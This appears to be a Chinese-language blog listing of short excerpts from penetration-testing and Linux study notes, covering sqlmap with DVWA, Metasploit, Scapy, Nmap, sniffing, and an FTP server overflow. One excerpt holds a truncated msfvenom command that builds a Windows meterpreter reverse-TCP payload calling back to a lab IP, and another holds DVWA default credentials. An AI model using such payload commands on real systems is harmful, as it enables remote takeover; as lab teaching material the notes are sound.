原创 Sqlmap自動化注入工具

1、安裝PHP集成環境 安裝phpstudy 2、安裝DVWA C:\phpStudy\PHPTutorial\WWW目錄下解壓 $_DVWA[ ‘db_password’ ] = ‘root’; admin:password

原创 metasplort後滲透模塊介紹

1. 獲取sesson msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp Lhost=192.168.48.129 LPORT=9999 -

原创 Python程序設計-安全滲透測試模塊-Scapy模塊

簡介 Scapy是一個由Python語言編寫的強大工具,它是大量程序編寫人員最喜愛的一個網絡模塊。目前很多優秀的網絡掃描和攻擊工具都使用了這個模塊。 也可以在自己的程序中使用這個模塊來實現對網絡數據包的發送、監聽和解析。 這個模

原创 linuxVI的常用命令

進入輸入模式 i:在當前光標所在處前插入文本 I:將光標移動到當前行的行首,並在行首前插入文本 a:在當前光標所在處之後插入文本 A:將光標移動到當前行的行末,並在行末之後插入文本 o:將光標所在行的下面新插入一行,並將光標移動到

原创 linux快捷操作(查閱手冊)

Tab鍵:自動補齊 Ctrl+U:清空至行首 Ctrl+K:清空至行尾 Ctrl+Y:粘貼Ctrl+U或者Ctrl+K剪切的內容 Ctrl+L:清屏 Ctrl+C:取消本次命令編輯 Ctrl+A:光標移動到最前 Ctrl+E:光標

原创 linux基礎命令(小白向)

ls 列出目錄內容 -l 以長格式形式查看文件或目錄的詳細信息(文件類型,權限,鏈接數,屬主屬組,文件大小,時間信息,文件名及路徑) ll -h 以人性化方式計算文件或目錄的大小 -d 查看目錄本身的屬性,不加時查看的是目

原创 win10環境下安裝pygame

1.首先確定本機的pip升級爲10.0以上的版本 查詢pip版本方法:cmd命令行下輸入 pip -V 如果版本爲10.0版本,然後繼續第二步;如果版本低於10.0,在cmd命令行下輸入 python -m pip in

原创 網絡安全理論課01物理層

四大特性-解決傳輸編碼以及信道複用問題 機械特性、電氣特性、規程特性、功能特性 數據的編碼方式 曼徹斯特編碼、差分曼徹斯特編碼 PPT下載

原创 網絡安全理論課04傳輸層

PPT下載 TCP知識提綱 傳輸層實現的是端到端的通信 網絡層的點到點 某一個局域網的主機——某一個局域網的主機 端口號的概念 傳輸層的端口號,有兩個作用,它代表的是程序地址;他還標明瞭上層協議 範圍0~65535 a)公有端口

原创 網絡安全實訓課05TCP SYN 半開鏈接

TCP SYN 半開鏈接 一、ENSP搭建實驗拓撲 三朵雲,橋接V1網卡,連接win7虛擬機、XP鏡像虛擬機和KALI虛擬機 點擊下載winXP鏡像 點擊下載win7鏡像 前往kali官網下載vm版鏡像 2. 啓動KALI

原创 Red Hat Linux環境下的MYSQL配置

Red Hat Linux環境下的MYSQL配置 MySQL是一個關係型數據庫管理系統,由瑞典MySQL AB 公司開發,目前屬於 Oracle 旗下產品。MySQL 是最流行的關係型數據庫管理系統之一,在 WEB 應用方面,My

原创 Python程序設計-安全滲透測試--網絡嗅探與欺騙

如果想要徹底瞭解一個網絡,那麼最好的辦法就是對網絡中的流量進行嗅探 在本章中將會編寫幾個嗅探工具,這些嗅探工具可以用來竊取網絡中明文傳輸的密碼,監視網絡中的數據流向,甚至可以收集遠程登錄所使用的NTLM數據包(這個數據包中包含登

原创 Python程序設計-安全滲透測試-漏洞滲透模塊

測試軟件的溢出漏洞 FreeFloat FTP Server會在運行的主機上建立一個FTP,其他計算機上的用戶可以登錄到這個FTP上來存取文件 例如,在主機192.168.0.116的C盤中運行這個FTP軟件,在另外一臺計算機中

原创 Python程序設計-安全滲透測試-情報收集

信息收集基礎 這裏的“情報”指的是目標網絡、服務器、應用程序的所有信息。 滲透測試人員需要使用資源儘可能地獲取要測試目標的相關信息。 信息收集獲得信息的方法可以分成兩種: 被動掃描主要指的是在目標 無法察覺的情況下 進行的信息

原创 Python程序設計-安全滲透測試模塊-Nmap模塊

二、Nmap模塊 功能 1、主機發現功能 向目標計算機發送信息,然後根據目標的反應來確定它是否處於開機並聯網的狀態。 2、端口掃描 向目標計算機的指定端口發送信息,然後根據目標端口的反應來判斷它是否開放。 3、服務及版本檢測 向目